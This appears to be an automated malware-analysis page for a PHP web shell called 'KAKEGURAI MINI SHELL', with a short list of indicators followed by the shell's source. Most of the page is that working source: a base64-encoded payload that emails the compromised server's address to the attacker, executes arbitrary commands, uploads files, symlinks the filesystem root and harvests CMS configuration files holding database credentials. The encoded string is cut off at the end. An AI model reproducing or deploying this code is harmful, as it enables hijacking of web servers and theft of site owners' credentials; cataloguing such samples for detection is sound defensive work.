PHP Malware Analysis

Back to list

Tags

URLs
http://res7ock.org/assets/img/favicon.png
http://www.al-mubarok.com/wp-content/uploads/2017/11/380624.jpg
https://fonts.googleapis.com/css?family=Courgette
https://fonts.googleapis.com/css?family=Sarpanch|Teko
http://www
Emails
satyaaji1945@gmail.com
Title
KAKEGURAI MINI SHELL
Execution
system
exec
passthru
shell_exec
Input
_GET
_POST
Environment
set_time_limit
error_reporting
getcwd

Deobfuscated code

<html>
  <head>
  <link href='http://res7ock.org/assets/img/favicon.png' rel='shortcut icon' alt='icon'>
  <title>KAKEGURAI MINI SHELL</title>
<center><h1><font face="Sarpanch"> &#9884; KAKEGURAI Mini Shell &#9884;</h1></center>
  <meta name='author' content='KAKEGURAI'>
  <meta charset="UTF-8">
  <link href="" rel="stylesheet" type="text/css">

<style>
body{
font-family: "Sarpanch", cursive;
	background-image: url("http://www.al-mubarok.com/wp-content/uploads/2017/11/380624.jpg");
	color:red;
	background-attachment:fixed;
	background-repeat:no-repeat;
	background-position:center;
	background-color:#000;
	-webkit-background-size: 100% 100%;
}
#content tr:hover{
background-color: #5ddcfc;
text-shadow:1px 0px 0px #000;
}
#content .first{
background-color: #5ddcfc;
font-weight: bold;
}
H1{
color:#5ddcfc;
font-family: "Sarpanch", cursive;
}
#content .first:hover{
background-color: #5ddcfc;
text-shadow:1px 0px 0px #000;
}
table{
border: 0px red solid;
}
a{
color: red;
text-decoration: none;
}
a:hover{
color: red;
text-shadow:1px 0px 0px #000;
}
.tombols{
background:black;
color:#5ddcfc;
border-top:0;
border-left:0;
border-right:0;
border: 2px white solid;
padding:5px 8px;
text-decoration:none;
font-family: 'Sarpanch', sans-serif;
border-radius:5px;
}
textarea{
color:#5ddcfc;
background-color:transparent;
font-weight: bold;
padding:5px 8px;
font-family: "Sarpanch", cursive;
border: 2px white solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
input,select{
color:#5ddcfc;
background-color:black;
font-weight: bold;
font-family: "Sarpanch", cursive;
border: 2px white solid;
}
</style>
</head>




<link href="https://fonts.googleapis.com/css?family=Courgette" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Sarpanch|Teko" rel="stylesheet">

<?php 
$code = 'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7DQpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7DQokdHVqdWFubWFpbCA9ICdzYXR5YWFqaTE5NDVAZ21haWwuY29tJzsNCiR4X3BhdGggPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIF0iOw0KbWFpbCgkdHVqdWFubWFpbCwgIkxPR0dFUiIsICRwZXNhbl9hbGVydCwgIlsgIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIiBdIik7DQpzZXRfdGltZV9saW1pdCgwKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCg0KLy9mdW5jdGlvbg0KZnVuY3Rpb24gYW1iaWxLYXRhKCRwYXJhbSwgJGthdGExLCAka2F0YTIpew0KICAgIGlmKHN0cnBvcygkcGFyYW0sICRrYXRhMSkgPT09IEZBTFNFKSByZXR1cm4gRkFMU0U7DQogICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsNCiAgICAkc3RhcnQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTEpICsgc3RybGVuKCRrYXRhMSk7DQogICAgJGVuZCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMiwgJHN0YXJ0KTsNCiAgICAkcmV0dXJuID0gc3Vic3RyKCRwYXJhbSwgJHN0YXJ0LCAkZW5kIC0gJHN0YXJ0KTsNCiAgICByZXR1cm4gJHJldHVybjsNCn0NCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCiAgICBmdW5jdGlvbiBpZHhfc3MoJGFycmF5KSB7DQpyZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnaWR4X3NzJywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KICAgIH0NCiAgICAkX1BPU1QgPSBpZHhfc3MoJF9QT1NUKTsNCn0NCg0KZnVuY3Rpb24gZXhlKCRjbWQpIHsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7ICAgICAgICANCkBvYl9zdGFydCgpOyAgICAgICANCkBzeXN0ZW0oJGNtZCk7ICAgICANCiRidWZmID0gQG9iX2dldF9jb250ZW50cygpOyAgICAgICAgDQpAb2JfZW5kX2NsZWFuKCk7ICAgICAgIA0KcmV0dXJuICRidWZmOyAgDQogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsgICAgICAgIA0KQGV4ZWMoJGNtZCwkcmVzdWx0cyk7ICAgICAgDQokYnVmZiA9ICIiOyAgICAgICAgDQpmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpIHsgICAgICAgICANCiAgICAkYnVmZiAuPSAkcmVzdWx0OyAgICAgIA0KfSByZXR1cm4gJGJ1ZmY7ICAgIA0KICAgIH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgeyAgICAgICAgDQpAb2Jfc3RhcnQoKTsgICAgICAgDQpAcGFzc3RocnUoJGNtZCk7ICAgICAgIA0KJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7ICAgICAgICANCkBvYl9lbmRfY2xlYW4oKTsgICAgICAgDQpyZXR1cm4gJGJ1ZmY7ICANCiAgICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyAgICAgIA0KJGJ1ZmYgPSBAc2hlbGxfZXhlYygkY21kKTsgICAgIA0KcmV0dXJuICRidWZmOyAgDQogICAgfQ0KfQ0KDQovL2NoZWNrIGRpcg0KJG5pY2sgPSAiazB2M1QiOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQokcGF0aCA9IGdldGN3ZCgpOw0KfQ0KJHNvZnR3YXJlID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsNCiRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOw0KJHBhdGhzID0gZXhwbG9kZSgnLycsJHBhdGgpOw0KDQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQogICAgJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgICR1aWQgPSBAZ2V0bXl1aWQoKTsNCiAgICAkZ2lkID0gQGdldG15Z2lkKCk7DQogICAgJGdyb3VwID0gIj8iOw0KfSBlbHNlIHsNCiAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7DQogICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChwb3NpeF9nZXRlZ2lkKCkpOw0KICAgICR1c2VyID0gJHVpZFsnbmFtZSddOw0KICAgICR1aWQgPSAkdWlkWyd1aWQnXTsNCiAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107DQogICAgJGdpZCA9ICRnaWRbJ2dpZCddOw0KfSANCi8vdW5hbWUNCmVjaG8gIjxicj48Yj48aT48Y2VudGVyPjxmb250IGNvbG9yPSM1ZGRjZmMgc2l6ZT0zPkN1cnJlbnQgRGlyIDogPC9mb250PiI7DQpmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpew0KaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQokYSA9IHRydWU7DQplY2hvICc8YSBocmVmPSI/cGF0aD0vIj4vPC9hPic7DQpjb250aW51ZTsNCn0NCmlmKCRwYXQgPT0gJycpIGNvbnRpbnVlOw0KZWNobyAnPGEgaHJlZj0iP3BhdGg9JzsNCmZvcigkaT0wOyRpPD0kaWQ7JGkrKyl7DQplY2hvICIkcGF0aHNbJGldIjsNCmlmKCRpICE9ICRpZCkgZWNobyAiLyI7DQp9DQplY2hvICciPjxmb250IGNvbG9yPXJlZCBzaXplPTM+Jy4kcGF0Lic8L2ZvbnQ+PC9hPi8nOw0KfQ0KDQojI1RPT0xCQVINCmVjaG8gIjxociBjb2xvcj0jNWRkY2ZjPg0KPGJyPjxjZW50ZXI+DQo8Zm9udCBzaXplPTM+PGEgaHJlZj0nPycgY2xhc3M9J3RvbWJvbHMnPkhvbWU8L2E+DQo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT11cGxvYWQnIGNsYXNzPSd0b21ib2xzJz5VcGxvYWQ8L2E+DQo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT1jbWQnIGNsYXNzPSd0b21ib2xzJz5Db21tYW5kPC9hPg0KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmE9Y29uZmlndjInIGNsYXNzPSd0b21ib2xzJz5Db25maWc8L2E+DQo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT1qdW1waW5nJyBjbGFzcz0ndG9tYm9scyc+SnVtcGluZzwvYT4NCjxicj48YnI+DQoNCjxmb250IHNpemU9Mz48YSBocmVmPSc/cGF0aD0kcGF0aCZhPXN5bWxpbmsnIGNsYXNzPSd0b21ib2xzJz5TeW1saW5rPC9hPg0KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmE9ZGlzYWJsZWZ1bmMnIGNsYXNzPSd0b21ib2xzJz5CeXBhc3MgRGlzYWJsZSBGdW5jdGlvbjwvYT4NCg0KPC9jZW50ZXI+PC9icj4NCjxociBjb2xvcj0jNWRkY2ZjPjxjZW50ZXI+IjsNCg0KLy91cGxvYWRzDQppZigkX0dFVFsnYSddID09ICd1cGxvYWQnKSB7DQppZihpc3NldCgkX0ZJTEVTWydmaWxlJ10pKXsNCmlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KZWNobyAnPGZvbnQgY29sb3I9IiM1ZGRjZmMiPkJlcmhhc2lsIFVwbG9hZCBnYW4hPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkdhZ2FsIFVwbG9hZCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCn0NCmVjaG8gJzxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+PGZvbnQgY29sb3I9InJlZCIgc2l6ZT0iNCI+DQpVcGxvYWQgRmlsZSA6PGJyPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwbG9hZCIgLz4NCjwvZm9ybT48YnI+DQo8L3RkPjwvdHI+JzsJDQoNCg0KfSBlbHNlaWYoJF9HRVRbJ2EnXSA9PSAnY29uZmlndjInKSB7DQoJCQlpZihzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PSAid2luIil7DQplY2hvICc8c2NyaXB0PmFsZXJ0KCJUaWRhayBiaXNhIGRpIGd1bmFrYW4gZGkgc2VydmVyIHdpbmRvd3MiKTwvc2NyaXB0Pic7DQpleGl0Ow0KfQ0KCWlmKCRfUE9TVCl7CWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bXZob3N0cycpIHsNCgkJQG1rZGlyKCJrMHYzVF9zeW12aG9zdHMiLCAwNzc3KTsNCmV4ZSgibG4gLXMgLyBrMHYzVF9zeW12aG9zdHMvcm9vdCIpOw0KJGh0YWNjZXNzPSJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgDQpBZGRIYW5kbGVyIHRleHQvcGxhaW4gLnBocA0KU2F0aXNmeSBBbnkiOw0KQGZpbGVfcHV0X2NvbnRlbnRzKCJrMHYzVF9zeW12aG9zdHMvLmh0YWNjZXNzIiwkaHRhY2Nlc3MpOw0KCQkkZXRjX3Bhc3N3ZD0kX1BPU1RbJ3Bhc3N3ZCddOw0KICAgIA0KICAgICRldGNfcGFzc3dkPWV4cGxvZGUoIlxuIiwkZXRjX3Bhc3N3ZCk7DQpmb3JlYWNoKCRldGNfcGFzc3dkIGFzICRwYXNzd2Qpew0KJHBhd2Q9ZXhwbG9kZSgiOiIsJHBhc3N3ZCk7DQokdXNlciA9JHBhd2RbNV07DQokamVtYm9kID0gcHJlZ19yZXBsYWNlKCcvXC92YXJcL3d3d1wvdmhvc3RzXC8vJywgJycsICR1c2VyKTsNCmlmIChwcmVnX21hdGNoKCcvdmhvc3RzL2knLCR1c2VyKSl7DQpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy93cC1jb25maWcucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1Xb3JkcHJlc3MudHh0Iik7DQpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9jb25maWd1cmF0aW9uLnBocCBrMHYzVF9zeW12aG9zdHMvIi4kamVtYm9kLiItSm9vbWxhLnR4dCIpOw0KZXhlKCJsbiAtcyAiLiR1c2VyLiIvaHR0cGRvY3MvY29uZmlnL2tvbmVrc2kucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1Mb2tvbWVkaWEudHh0Iik7DQpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9mb3J1bS9jb25maWcucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1waHBCQi50eHQiKTsNCmV4ZSgibG4gLXMgIi4kdXNlci4iL2h0dHBkb2NzL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1EcnVwYWwudHh0Iik7DQpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9jb25maWcvc2V0dGluZ3MuaW5jLnBocCBrMHYzVF9zeW12aG9zdHMvIi4kamVtYm9kLiItUHJlc3RhU2hvcC50eHQiKTsNCmV4ZSgibG4gLXMgIi4kdXNlci4iL2h0dHBkb2NzL2FwcC9ldGMvbG9jYWwueG1sIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1NYWdlbnRvLnR4dCIpOw0KZXhlKCJsbiAtcyAiLiR1c2VyLiIvaHR0cGRvY3MvYWRtaW4vY29uZmlnLnBocCBrMHYzVF9zeW12aG9zdHMvIi4kamVtYm9kLiItT3BlbkNhcnQudHh0Iik7DQpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9hcHBsaWNhdGlvbi9jb25maWcvZGF0YWJhc2UucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1FbGxpc2xhYi50eHQiKTsgDQp9fX0NCmlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7DQpAbWtkaXIoImswdjNUX3N5bWNvbmZpZyIsIDA3NzcpOw0KQHN5bWxpbmsoIi8iLCJrMHYzVF9zeW1jb25maWcvcm9vdCIpOw0KJGh0YWNjZXNzPSJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgDQpBZGRIYW5kbGVyIHRleHQvcGxhaW4gLnBocA0KU2F0aXNmeSBBbnkiOw0KQGZpbGVfcHV0X2NvbnRlbnRzKCJrMHYzVF9zeW1jb25maWcvLmh0YWNjZXNzIiwkaHRhY2Nlc3MpO30NCmlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJzQwNCcpIHsNCkBta2RpcigiazB2M1Rfc3ltNDA0IiwgMDc3Nyk7DQpAc3ltbGluaygiLyIsImswdjNUX3N5bTQwNC9yb290Iik7DQokaHRhY2Nlc3M9Ik9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocCANCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwDQpTYXRpc2Z5IEFueQ0KSW5kZXhPcHRpb25zICtDaGFyc2V0PVVURi04ICtGYW5jeUluZGV4aW5nICtJZ25vcmVDYXNlICtGb2xkZXJzRmlyc3QgK1hIVE1MICtIVE1MVGFibGUgK1N1cHByZXNzUnVsZXMgK1N1cHByZXNzRGVzY3JpcHRpb24gK05hbWVXaWR0aD0qDQpJbmRleElnbm9yZSAqLnR4dDQwNA0KUmV3cml0ZUVuZ2luZSBPbg0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSBeLiprMHYzVF9zeW00MDQgW05DXQ0KUmV3cml0ZVJ1bGUgXC50eHQkICV7UkVRVUVTVF9VUkl9NDA0IFtMLFI9MzAyLk5DXSI7DQpAZmlsZV9wdXRfY29udGVudHMoImswdjNUX3N5bTQwNC8uaHRhY2Nlc3MiLCRodGFjY2Vzcyk7DQp9DQppZigkX1BPU1RbJ2NvbmZpZyddID09ICdncmFiJykgew0KCQkJCQkJbWtkaXIoImswdjNUX2NvbmZpZ2dyYWIiLCAwNzc3KTsNCgkJCQkJCSRpc2lfaHRjID0gIk9wdGlvbnMgYWxsXG5SZXF1aXJlIE5vbmVcblNhdGlzZnkgQW55IjsNCgkJCQkJCSRodGMgPSBmb3BlbigiazB2M1RfY29uZmlnZ3JhYi8uaHRhY2Nlc3MiLCJ3Iik7DQoJCQkJCQlmd3JpdGUoJGh0YywgJGlzaV9odGMpOwkNCn0NCiRwYXNzd2QgPSAkX1BPU1RbJ3Bhc3N3ZCddOw0KDQpwcmVnX21hdGNoX2FsbCgnLyguKj8pOng6LycsICRwYXNzd2QsICR1c2VyX2NvbmZpZyk7DQpmb3JlYWNoKCR1c2VyX2NvbmZpZ1sxXSBhcyAkdXNlcl9rMHYzVCkgew0KJGdyYWJfY29uZmlnID0gYXJyYXkoDQoiL2hvbWUvJHVzZXJfazB2M1QvLmFjY2Vzc2hhc2giID0+ICJXSE0tYWNjZXNzaGFzaCIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY29uZmlnL2tvbmVrc2kucGhwIiA9PiAiTG9rb21lZGlhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9mb3J1bS9jb25maWcucGhwIiA9PiAicGhwQkIiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIiA9PiAiRHJ1cGFsIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jb25maWcvc2V0dGluZ3MuaW5jLnBocCIgPT4gIlByZXN0YVNob3AiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2FwcC9ldGMvbG9jYWwueG1sIiA9PiAiTWFnZW50byIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCIgPT4gIk9wZW5DYXJ0IiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9hcHBsaWNhdGlvbi9jb25maWcvZGF0YWJhc2UucGhwIiA9PiAiRWxsaXNsYWIiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwIiA9PiAiVmJ1bGxldGluIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwIiA9PiAiVmJ1bGxldGluIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCIgPT4gIk15QkIiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9vcy9pbmNsdWRlcy9jb25maWd1cmUucGhwIiA9PiAiT3NDb21tZXJjZSIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvb3Njb20vaW5jbHVkZXMvY29uZmlndXJlLnBocCIgPT4gIk9zQ29tbWVyY2UiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3Byb2R1Y3RzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jYXJ0L2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9pbmMvY29uZl9nbG9iYWwucGhwIiA9PiAiSVBCIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93cC90ZXN0L3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9wb3J0YWwvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvc2l0ZS93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93cC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9XUC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC90ZXN0L3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2RlbW8vd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC92MS93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC92Mi93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYmxvZ3Mvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAiID0+ICJeV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYmV0YS9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9kZW1vL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC90ZXN0L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC92MS9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvdjIvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9XSE1DUy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3dobWNzMS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dobWNzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvd2htY3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93aG1jcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dITUMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9XaG1jL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2